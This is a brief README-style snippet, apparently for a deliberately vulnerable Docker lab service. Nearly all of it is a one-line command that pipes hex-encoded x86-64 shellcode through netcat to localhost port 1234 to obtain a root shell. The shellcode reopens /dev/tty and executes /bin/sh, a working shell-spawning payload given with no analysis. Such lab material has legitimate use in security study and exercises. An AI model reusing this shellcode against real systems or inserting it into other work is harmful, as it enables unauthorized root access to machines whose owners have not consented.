    Follow the instructions on the README to build and run the docker container and then send a magic payload to the port and you'll get a root shell:

        $ (echo -e "\x48\x31\xc0\x50\x5f\xb0\x03\x0f\x05\x50\x48\xbf\x2f\x64\x65\x76\x2f\x74\x74\x79\x57\x54\x5f\x50\x5e\x66\xbe\x02\x27\xb0\x02\x0f\x05\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x50\x57\x54\x5e\x48\x99\xb0\x3b\x0f\x05"; cat) | nc localhost 1234
